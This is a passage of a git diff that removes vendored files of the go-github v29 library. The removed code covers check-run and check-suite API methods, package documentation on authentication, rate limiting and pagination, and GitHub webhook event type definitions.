&checkRunAnnotations) - if err != nil { - return nil, resp, err - } - - return checkRunAnnotations, resp, nil -} - -// ListCheckRunsOptions represents parameters to list check runs. -type ListCheckRunsOptions struct { - CheckName *string `url:"check_name,omitempty"` // Returns check runs with the specified name. - Status *string `url:"status,omitempty"` // Returns check runs with the specified status. Can be one of "queued", "in_progress", or "completed". - Filter *string `url:"filter,omitempty"` // Filters check runs by their completed_at timestamp. Can be one of "latest" (returning the most recent check runs) or "all". Default: "latest" - - ListOptions -} - -// ListCheckRunsResults represents the result of a check run list. -type ListCheckRunsResults struct { - Total *int `json:"total_count,omitempty"` - CheckRuns []*CheckRun `json:"check_runs,omitempty"` -} - -// ListCheckRunsForRef lists check runs for a specific ref. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#list-check-runs-for-a-specific-ref -func (s *ChecksService) ListCheckRunsForRef(ctx context.Context, owner, repo, ref string, opt *ListCheckRunsOptions) (*ListCheckRunsResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/check-runs", owner, repo, url.QueryEscape(ref)) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkRunResults *ListCheckRunsResults - resp, err := s.client.Do(ctx, req, &checkRunResults) - if err != nil { - return nil, resp, err - } - - return checkRunResults, resp, nil -} - -// ListCheckRunsCheckSuite lists check runs for a check suite. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#list-check-runs-in-a-check-suite -func (s *ChecksService) ListCheckRunsCheckSuite(ctx context.Context, owner, repo string, checkSuiteID int64, opt *ListCheckRunsOptions) (*ListCheckRunsResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/%v/check-runs", owner, repo, checkSuiteID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkRunResults *ListCheckRunsResults - resp, err := s.client.Do(ctx, req, &checkRunResults) - if err != nil { - return nil, resp, err - } - - return checkRunResults, resp, nil -} - -// ListCheckSuiteOptions represents parameters to list check suites. -type ListCheckSuiteOptions struct { - CheckName *string `url:"check_name,omitempty"` // Filters checks suites by the name of the check run. - AppID *int `url:"app_id,omitempty"` // Filters check suites by GitHub App id. - - ListOptions -} - -// ListCheckSuiteResults represents the result of a check run list. -type ListCheckSuiteResults struct { - Total *int `json:"total_count,omitempty"` - CheckSuites []*CheckSuite `json:"check_suites,omitempty"` -} - -// ListCheckSuitesForRef lists check suite for a specific ref. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#list-check-suites-for-a-specific-ref -func (s *ChecksService) ListCheckSuitesForRef(ctx context.Context, owner, repo, ref string, opt *ListCheckSuiteOptions) (*ListCheckSuiteResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/check-suites", owner, repo, url.QueryEscape(ref)) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkSuiteResults *ListCheckSuiteResults - resp, err := s.client.Do(ctx, req, &checkSuiteResults) - if err != nil { - return nil, resp, err - } - - return checkSuiteResults, resp, nil -} - -// AutoTriggerCheck enables or disables automatic creation of CheckSuite events upon pushes to the repository. -type AutoTriggerCheck struct { - AppID *int64 `json:"app_id,omitempty"` // The id of the GitHub App. (Required.) - Setting *bool `json:"setting,omitempty"` // Set to "true" to enable automatic creation of CheckSuite events upon pushes to the repository, or "false" to disable them. Default: "true" (Required.) -} - -// CheckSuitePreferenceOptions set options for check suite preferences for a repository. -type CheckSuitePreferenceOptions struct { - AutoTriggerChecks []*AutoTriggerCheck `json:"auto_trigger_checks,omitempty"` // A slice of auto trigger checks that can be set for a check suite in a repository. -} - -// CheckSuitePreferenceResults represents the results of the preference set operation. -type CheckSuitePreferenceResults struct { - Preferences *PreferenceList `json:"preferences,omitempty"` - Repository *Repository `json:"repository,omitempty"` -} - -// PreferenceList represents a list of auto trigger checks for repository -type PreferenceList struct { - AutoTriggerChecks []*AutoTriggerCheck `json:"auto_trigger_checks,omitempty"` // A slice of auto trigger checks that can be set for a check suite in a repository. -} - -// SetCheckSuitePreferences changes the default automatic flow when creating check suites. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#set-preferences-for-check-suites-on-a-repository -func (s *ChecksService) SetCheckSuitePreferences(ctx context.Context, owner, repo string, opt CheckSuitePreferenceOptions) (*CheckSuitePreferenceResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/preferences", owner, repo) - req, err := s.client.NewRequest("PATCH", u, opt) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkSuitePrefResults *CheckSuitePreferenceResults - resp, err := s.client.Do(ctx, req, &checkSuitePrefResults) - if err != nil { - return nil, resp, err - } - - return checkSuitePrefResults, resp, nil -} - -// CreateCheckSuiteOptions sets up parameters to manually create a check suites -type CreateCheckSuiteOptions struct { - HeadSHA string `json:"head_sha"` // The sha of the head commit. (Required.) - HeadBranch *string `json:"head_branch,omitempty"` // The name of the head branch where the code changes are implemented. -} - -// CreateCheckSuite manually creates a check suite for a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#create-a-check-suite -func (s *ChecksService) CreateCheckSuite(ctx context.Context, owner, repo string, opt CreateCheckSuiteOptions) (*CheckSuite, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites", owner, repo) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkSuite := new(CheckSuite) - resp, err := s.client.Do(ctx, req, checkSuite) - if err != nil { - return nil, resp, err - } - - return checkSuite, resp, nil -} - -// ReRequestCheckSuite triggers GitHub to rerequest an existing check suite, without pushing new code to a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#rerequest-check-suite -func (s *ChecksService) ReRequestCheckSuite(ctx context.Context, owner, repo string, checkSuiteID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/%v/rerequest", owner, repo, checkSuiteID) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - resp, err := s.client.Do(ctx, req, nil) - return resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/doc.go b/vendor/github.com/google/go-github/v29/github/doc.go deleted file mode 100644 index 403a6ecc6f..0000000000 --- a/vendor/github.com/google/go-github/v29/github/doc.go +++ /dev/null @@ -1,188 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package github provides a client for using the GitHub API. - -Usage: - - import "github.com/google/go-github/v29/github" // with go modules enabled (GO111MODULE=on or outside GOPATH) - import "github.com/google/go-github/github" // with go modules disabled - -Construct a new GitHub client, then use the various services on the client to -access different parts of the GitHub API. For example: - - client := github.NewClient(nil) - - // list all organizations for user "willnorris" - orgs, _, err := client.Organizations.List(ctx, "willnorris", nil) - -Some API methods have optional parameters that can be passed. For example: - - client := github.NewClient(nil) - - // list public repositories for org "github" - opt := &github.RepositoryListByOrgOptions{Type: "public"} - repos, _, err := client.Repositories.ListByOrg(ctx, "github", opt) - -The services of a client divide the API into logical chunks and correspond to -the structure of the GitHub API documentation at -https://developer.github.com/v3/. - -NOTE: Using the https://godoc.org/context package, one can easily -pass cancelation signals and deadlines to various services of the client for -handling a request. In case there is no context available, then context.Background() -can be used as a starting point. - -For more sample code snippets, head over to the https://github.com/google/go-github/tree/master/example directory. - -Authentication - -The go-github library does not directly handle authentication. Instead, when -creating a new client, pass an http.Client that can handle authentication for -you. The easiest and recommended way to do this is using the golang.org/x/oauth2 -library, but you can always use any other library that provides an http.Client. -If you have an OAuth2 access token (for example, a personal API token), you can -use it with the oauth2 library using: - - import "golang.org/x/oauth2" - - func main() { - ctx := context.Background() - ts := oauth2.StaticTokenSource( - &oauth2.Token{AccessToken: "... your access token ..."}, - ) - tc := oauth2.NewClient(ctx, ts) - - client := github.NewClient(tc) - - // list all repositories for the authenticated user - repos, _, err := client.Repositories.List(ctx, "", nil) - } - -Note that when using an authenticated Client, all calls made by the client will -include the specified OAuth token. Therefore, authenticated clients should -almost never be shared between different users. - -See the oauth2 docs for complete instructions on using that library. - -For API methods that require HTTP Basic Authentication, use the -BasicAuthTransport. - -GitHub Apps authentication can be provided by the -https://github.com/bradleyfalzon/ghinstallation package. - - import "github.com/bradleyfalzon/ghinstallation" - - func main() { - // Wrap the shared transport for use with the integration ID 1 authenticating with installation ID 99. - itr, err := ghinstallation.NewKeyFromFile(http.DefaultTransport, 1, 99, "2016-10-19.private-key.pem") - if err != nil { - // Handle error. - } - - // Use installation transport with client - client := github.NewClient(&http.Client{Transport: itr}) - - // Use client... - } - -Rate Limiting - -GitHub imposes a rate limit on all API clients. Unauthenticated clients are -limited to 60 requests per hour, while authenticated clients can make up to -5,000 requests per hour. The Search API has a custom rate limit. Unauthenticated -clients are limited to 10 requests per minute, while authenticated clients -can make up to 30 requests per minute. To receive the higher rate limit when -making calls that are not issued on behalf of a user, -use UnauthenticatedRateLimitedTransport. - -The returned Response.Rate value contains the rate limit information -from the most recent API call. If a recent enough response isn't -available, you can use RateLimits to fetch the most up-to-date rate -limit data for the client. - -To detect an API rate limit error, you can check if its type is *github.RateLimitError: - - repos, _, err := client.Repositories.List(ctx, "", nil) - if _, ok := err.(*github.RateLimitError); ok { - log.Println("hit rate limit") - } - -Learn more about GitHub rate limiting at -https://developer.github.com/v3/#rate-limiting. - -Accepted Status - -Some endpoints may return a 202 Accepted status code, meaning that the -information required is not yet ready and was scheduled to be gathered on -the GitHub side. Methods known to behave like this are documented specifying -this behavior. - -To detect this condition of error, you can check if its type is -*github.AcceptedError: - - stats, _, err := client.Repositories.ListContributorsStats(ctx, org, repo) - if _, ok := err.(*github.AcceptedError); ok { - log.Println("scheduled on GitHub side") - } - -Conditional Requests - -The GitHub API has good support for conditional requests which will help -prevent you from burning through your rate limit, as well as help speed up your -application. go-github does not handle conditional requests directly, but is -instead designed to work with a caching http.Transport. We recommend using -https://github.com/gregjones/httpcache for that. - -Learn more about GitHub conditional requests at -https://developer.github.com/v3/#conditional-requests. - -Creating and Updating Resources - -All structs for GitHub resources use pointer values for all non-repeated fields. -This allows distinguishing between unset fields and those set to a zero-value. -Helper functions have been provided to easily create these pointers for string, -bool, and int values. For example: - - // create a new private repository named "foo" - repo := &github.Repository{ - Name: github.String("foo"), - Private: github.Bool(true), - } - client.Repositories.Create(ctx, "", repo) - -Users who have worked with protocol buffers should find this pattern familiar. - -Pagination - -All requests for resource collections (repos, pull requests, issues, etc.) -support pagination. Pagination options are described in the -github.ListOptions struct and passed to the list methods directly or as an -embedded type of a more specific list options struct (for example -github.PullRequestListOptions). Pages information is available via the -github.Response struct. - - client := github.NewClient(nil) - - opt := &github.RepositoryListByOrgOptions{ - ListOptions: github.ListOptions{PerPage: 10}, - } - // get all pages of results - var allRepos []*github.Repository - for { - repos, resp, err := client.Repositories.ListByOrg(ctx, "github", opt) - if err != nil { - return err - } - allRepos = append(allRepos, repos...) - if resp.NextPage == 0 { - break - } - opt.Page = resp.NextPage - } - -*/ -package github diff --git a/vendor/github.com/google/go-github/v29/github/event.go b/vendor/github.com/google/go-github/v29/github/event.go deleted file mode 100644 index 848fa6daee..0000000000 --- a/vendor/github.com/google/go-github/v29/github/event.go +++ /dev/null @@ -1,136 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "encoding/json" - "time" -) - -// Event represents a GitHub event. -type Event struct { - Type *string `json:"type,omitempty"` - Public *bool `json:"public,omitempty"` - RawPayload *json.RawMessage `json:"payload,omitempty"` - Repo *Repository `json:"repo,omitempty"` - Actor *User `json:"actor,omitempty"` - Org *Organization `json:"org,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - ID *string `json:"id,omitempty"` -} - -func (e Event) String() string { - return Stringify(e) -} - -// ParsePayload parses the event payload. For recognized event types, -// a value of the corresponding struct type will be returned. -func (e *Event) ParsePayload() (payload interface{}, err error) { - switch *e.Type { - case "CheckRunEvent": - payload = &CheckRunEvent{} - case "CheckSuiteEvent": - payload = &CheckSuiteEvent{} - case "CommitCommentEvent": - payload = &CommitCommentEvent{} - case "CreateEvent": - payload = &CreateEvent{} - case "DeleteEvent": - payload = &DeleteEvent{} - case "DeployKeyEvent": - payload = &DeployKeyEvent{} - case "DeploymentEvent": - payload = &DeploymentEvent{} - case "DeploymentStatusEvent": - payload = &DeploymentStatusEvent{} - case "ForkEvent": - payload = &ForkEvent{} - case "GitHubAppAuthorizationEvent": - payload = &GitHubAppAuthorizationEvent{} - case "GollumEvent": - payload = &GollumEvent{} - case "InstallationEvent": - payload = &InstallationEvent{} - case "InstallationRepositoriesEvent": - payload = &InstallationRepositoriesEvent{} - case "IssueCommentEvent": - payload = &IssueCommentEvent{} - case "IssuesEvent": - payload = &IssuesEvent{} - case "LabelEvent": - payload = &LabelEvent{} - case "MarketplacePurchaseEvent": - payload = &MarketplacePurchaseEvent{} - case "MemberEvent": - payload = &MemberEvent{} - case "MembershipEvent": - payload = &MembershipEvent{} - case "MetaEvent": - payload = &MetaEvent{} - case "MilestoneEvent": - payload = &MilestoneEvent{} - case "OrganizationEvent": - payload = &OrganizationEvent{} - case "OrgBlockEvent": - payload = &OrgBlockEvent{} - case "PageBuildEvent": - payload = &PageBuildEvent{} - case "PingEvent": - payload = &PingEvent{} - case "ProjectEvent": - payload = &ProjectEvent{} - case "ProjectCardEvent": - payload = &ProjectCardEvent{} - case "ProjectColumnEvent": - payload = &ProjectColumnEvent{} - case "PublicEvent": - payload = &PublicEvent{} - case "PullRequestEvent": - payload = &PullRequestEvent{} - case "PullRequestReviewEvent": - payload = &PullRequestReviewEvent{} - case "PullRequestReviewCommentEvent": - payload = &PullRequestReviewCommentEvent{} - case "PushEvent": - payload = &PushEvent{} - case "ReleaseEvent": - payload = &ReleaseEvent{} - case "RepositoryEvent": - payload = &RepositoryEvent{} - case "RepositoryDispatchEvent": - payload = &RepositoryDispatchEvent{} - case "RepositoryVulnerabilityAlertEvent": - payload = &RepositoryVulnerabilityAlertEvent{} - case "StarEvent": - payload = &StarEvent{} - case "StatusEvent": - payload = &StatusEvent{} - case "TeamEvent": - payload = &TeamEvent{} - case "TeamAddEvent": - payload = &TeamAddEvent{} - case "UserEvent": - payload = &UserEvent{} - case "WatchEvent": - payload = &WatchEvent{} - } - err = json.Unmarshal(*e.RawPayload, &payload) - return payload, err -} - -// Payload returns the parsed event payload. For recognized event types, -// a value of the corresponding struct type will be returned. -// -// Deprecated: Use ParsePayload instead, which returns an error -// rather than panics if JSON unmarshaling raw payload fails. -func (e *Event) Payload() (payload interface{}) { - var err error - payload, err = e.ParsePayload() - if err != nil { - panic(err) - } - return payload -} diff --git a/vendor/github.com/google/go-github/v29/github/event_types.go b/vendor/github.com/google/go-github/v29/github/event_types.go deleted file mode 100644 index df12821c43..0000000000 --- a/vendor/github.com/google/go-github/v29/github/event_types.go +++ /dev/null @@ -1,922 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// These event types are shared between the Events API and used as Webhook payloads. - -package github - -import "encoding/json" - -// RequestedAction is included in a CheckRunEvent when a user has invoked an action, -// i.e. when the CheckRunEvent's Action field is "requested_action". -type RequestedAction struct { - Identifier string `json:"identifier"` // The integrator reference of the action requested by the user. -} - -// CheckRunEvent is triggered when a check run is "created", "updated", or "rerequested". -// The Webhook event name is "check_run". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#checkrunevent -type CheckRunEvent struct { - CheckRun *CheckRun `json:"check_run,omitempty"` - // The action performed. Possible values are: "created", "updated", "rerequested" or "requested_action". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` - - // The action requested by the user. Populated when the Action is "requested_action". - RequestedAction *RequestedAction `json:"requested_action,omitempty"` // -} - -// CheckSuiteEvent is triggered when a check suite is "completed", "requested", or "rerequested". -// The Webhook event name is "check_suite". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#checksuiteevent -type CheckSuiteEvent struct { - CheckSuite *CheckSuite `json:"check_suite,omitempty"` - // The action performed. Possible values are: "completed", "requested" or "rerequested". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// CommitCommentEvent is triggered when a commit comment is created. -// The Webhook event name is "commit_comment". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#commitcommentevent -type CommitCommentEvent struct { - Comment *RepositoryComment `json:"comment,omitempty"` - - // The following fields are only populated by Webhook events. - Action *string `json:"action,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// CreateEvent represents a created repository, branch, or tag. -// The Webhook event name is "create". -// -// Note: webhooks will not receive this event for created repositories. -// Additionally, webhooks will not receive this event for tags if more -// than three tags are pushed at once. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#createevent -type CreateEvent struct { - Ref *string `json:"ref,omitempty"` - // RefType is the object that was created. Possible values are: "repository", "branch", "tag". - RefType *string `json:"ref_type,omitempty"` - MasterBranch *string `json:"master_branch,omitempty"` - Description *string `json:"description,omitempty"` - - // The following fields are only populated by Webhook events. - PusherType *string `json:"pusher_type,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// DeleteEvent represents a deleted branch or tag. -// The Webhook event name is "delete". -// -// Note: webhooks will not receive this event for tags if more than three tags -// are deleted at once. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deleteevent -type DeleteEvent struct { - Ref *string `json:"ref,omitempty"` - // RefType is the object that was deleted. Possible values are: "branch", "tag". - RefType *string `json:"ref_type,omitempty"` - - // The following fields are only populated by Webhook events. - PusherType *string `json:"pusher_type,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// DeployKeyEvent is triggered when a deploy key is added or removed from a repository. -// The Webhook event name is "deploy_key". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deploykeyevent -type DeployKeyEvent struct { - // Action is the action that was performed. Possible values are: - // "created" or "deleted". - Action *string `json:"action,omitempty"` - - // The deploy key resource. - Key *Key `json:"key,omitempty"` -} - -// DeploymentEvent represents a deployment. -// The Webhook event name is "deployment". -// -// Events of this type are not visible in timelines, they are only used to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deploymentevent -type DeploymentEvent struct { - Deployment *Deployment `json:"deployment,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// DeploymentStatusEvent represents a deployment status. -// The Webhook event name is "deployment_status". -// -// Events of this type are not visible in timelines, they are only used to trigger hooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deploymentstatusevent -type DeploymentStatusEvent struct { - Deployment *Deployment `json:"deployment,omitempty"` - DeploymentStatus *DeploymentStatus `json:"deployment_status,omitempty"` - Repo *Repository `json:"repository,omitempty"` - - // The following fields are only populated by Webhook events. - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// ForkEvent is triggered when a user forks a repository. -// The Webhook event name is "fork". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#forkevent -type ForkEvent struct { - // Forkee is the created repository. - Forkee *Repository `json:"forkee,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// GitHubAppAuthorizationEvent is triggered when a user's authorization for a -// GitHub Application is revoked. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#githubappauthorizationevent -type GitHubAppAuthorizationEvent struct { - // The action performed. Possible value is: "revoked". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Sender *User `json:"sender,omitempty"` -} - -// Page represents a single Wiki page. -type Page struct { - PageName *string `json:"page_name,omitempty"` - Title *string `json:"title,omitempty"` - Summary *string `json:"summary,omitempty"` - Action *string `json:"action,omitempty"` - SHA *string `json:"sha,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` -} - -// GollumEvent is triggered when a Wiki page is created or updated. -// The Webhook event name is "gollum". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#gollumevent -type GollumEvent struct { - Pages []*Page `json:"pages,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// EditChange represents the changes when an issue, pull request, or comment has -// been edited. -type EditChange struct { - Title *struct { - From *string `json:"from,omitempty"` - } `json:"title,omitempty"` - Body *struct { - From *string `json:"from,omitempty"` - } `json:"body,omitempty"` -} - -// ProjectChange represents the changes when a project has been edited. -type ProjectChange struct { - Name *struct { - From *string `json:"from,omitempty"` - } `json:"name,omitempty"` - Body *struct { - From *string `json:"from,omitempty"` - } `json:"body,omitempty"` -} - -// ProjectCardChange represents the changes when a project card has been edited. -type ProjectCardChange struct { - Note *struct { - From *string `json:"from,omitempty"` - } `json:"note,omitempty"` -} - -// ProjectColumnChange represents the changes when a project column has been edited. -type ProjectColumnChange struct { - Name *struct { - From *string `json:"from,omitempty"` - } `json:"name,omitempty"` -} - -// TeamChange represents the changes when a team has been edited. -type TeamChange struct { - Description *struct { - From *string `json:"from,omitempty"` - } `json:"description,omitempty"` - Name *struct { - From *string `json:"from,omitempty"` - } `json:"name,omitempty"` - Privacy *struct { - From *string `json:"from,omitempty"` - } `json:"privacy,omitempty"` - Repository *struct { - Permissions *struct { - From *struct { - Admin *bool `json:"admin,omitempty"` - Pull *bool `json:"pull,omitempty"` - Push *bool `json:"push,omitempty"` - } `json:"from,omitempty"` - } `json:"permissions,omitempty"` - } `json:"repository,omitempty"` -} - -// InstallationEvent is triggered when a GitHub App has been installed or uninstalled. -// The Webhook event name is "installation". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#installationevent -type InstallationEvent struct { - // The action that was performed. Can be either "created" or "deleted". - Action *string `json:"action,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// InstallationRepositoriesEvent is triggered when a repository is added or -// removed from an installation. The Webhook event name is "installation_repositories". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#installationrepositoriesevent -type InstallationRepositoriesEvent struct { - // The action that was performed. Can be either "added" or "removed". - Action *string `json:"action,omitempty"` - RepositoriesAdded []*Repository `json:"repositories_added,omitempty"` - RepositoriesRemoved []*Repository `json:"repositories_removed,omitempty"` - RepositorySelection *string `json:"repository_selection,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// IssueCommentEvent is triggered when an issue comment is created on an issue -// or pull request. -// The Webhook event name is "issue_comment". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#issuecommentevent -type IssueCommentEvent struct { - // Action is the action that was performed on the comment. - // Possible values are: "created", "edited", "deleted". - Action *string `json:"action,omitempty"` - Issue *Issue `json:"issue,omitempty"` - Comment *IssueComment `json:"comment,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// IssuesEvent is triggered when an issue is opened, edited, deleted, transferred, -// pinned, unpinned, closed, reopened, assigned, unassigned, labeled, unlabeled, -// locked, unlocked, milestoned, or demilestoned. -// The Webhook event name is "issues". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#issuesevent -type IssuesEvent struct { - // Action is the action that was performed. Possible values are: "opened", - // "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", - // "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", - // "milestoned", or "demilestoned". - Action *string `json:"action,omitempty"` - Issue *Issue `json:"issue,omitempty"` - Assignee *User `json:"assignee,omitempty"` - Label *Label `json:"label,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// LabelEvent is triggered when a repository's label is created, edited, or deleted. -// The Webhook event name is "label" -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#labelevent -type LabelEvent struct { - // Action is the action that was performed. Possible values are: - // "created", "edited", "deleted" - Action *string `json:"action,omitempty"` - Label *Label `json:"label,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MarketplacePurchaseEvent is triggered when a user purchases, cancels, or changes -// their GitHub Marketplace plan. -// Webhook event name "marketplace_purchase". -// -// Github API docs: https://developer.github.com/v3/activity/events/types/#marketplacepurchaseevent -type MarketplacePurchaseEvent struct { - // Action is the action that was performed. Possible values are: - // "purchased", "cancelled", "pending_change", "pending_change_cancelled", "changed". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - EffectiveDate *Timestamp `json:"effective_date,omitempty"` - MarketplacePurchase *MarketplacePurchase `json:"marketplace_purchase,omitempty"` - PreviousMarketplacePurchase *MarketplacePurchase `json:"previous_marketplace_purchase,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MemberEvent is triggered when a user is added as a collaborator to a repository. -// The Webhook event name is "member". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#memberevent -type MemberEvent struct { - // Action is the action that was performed. Possible value is: "added". - Action *string `json:"action,omitempty"` - Member *User `json:"member,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MembershipEvent is triggered when a user is added or removed from a team. -// The Webhook event name is "membership". -// -// Events of this type are not visible in timelines, they are only used to -// trigger organization webhooks. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#membershipevent -type MembershipEvent struct { - // Action is the action that was performed. Possible values are: "added", "removed". - Action *string `json:"action,omitempty"` - // Scope is the scope of the membership. Possible value is: "team". - Scope *string `json:"scope,omitempty"` - Member *User `json:"member,omitempty"` - Team *Team `json:"team,omitempty"` - - // The following fields are only populated by Webhook events. - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// MetaEvent is triggered when the webhook that this event is configured on is deleted. -// This event will only listen for changes to the particular hook the event is installed on. -// Therefore, it must be selected for each hook that you'd like to receive meta events for. -// The Webhook event name is "meta". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#metaevent -type MetaEvent struct { - // Action is the action that was performed. Possible value is: "deleted". - Action *string `json:"action,omitempty"` - // The ID of the modified webhook. - HookID *int64 `json:"hook_id,omitempty"` - // The modified webhook. - // This will contain different keys based on the type of webhook it is: repository, - // organization, business, app, or GitHub Marketplace. - Hook *Hook `json:"hook,omitempty"` -} - -// MilestoneEvent is triggered when a milestone is created, closed, opened, edited, or deleted. -// The Webhook event name is "milestone". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#milestoneevent -type MilestoneEvent struct { - // Action is the action that was performed. Possible values are: - // "created", "closed", "opened", "edited", "deleted" - Action *string `json:"action,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - - // The following fields are only populated by Webhook events. - Changes *EditChange `json:"changes,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Org *Organization `json:"organization,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// OrganizationEvent is triggered when an organization is deleted and renamed, and when a user is added, -// removed, or invited to an organization. -// Events of this type are not visible in timelines. These events are only used to trigger organization hooks. -// Webhook event name is "organization". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#organizationevent -type OrganizationEvent struct { - // Action is the action that was performed. - // Possible values are: "deleted", "renamed", "member_added", "member_removed", or "member_invited". - Action *string `json:"action,omitempty"` - - // Invitation is the invitation for the user or email if the action is "member_invited". - Invitation *Invitation `json:"invitation,omitempty"` - - // Membership is the membership between the user and the organization. - // Not present when the action is "member_invited". - Membership *Membership `json:"membership,omitempty"` - - Organization *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// OrgBlockEvent is triggered when an organization blocks or unblocks a user. -// The Webhook event name is "org_block". -// -// GitHub API docs: 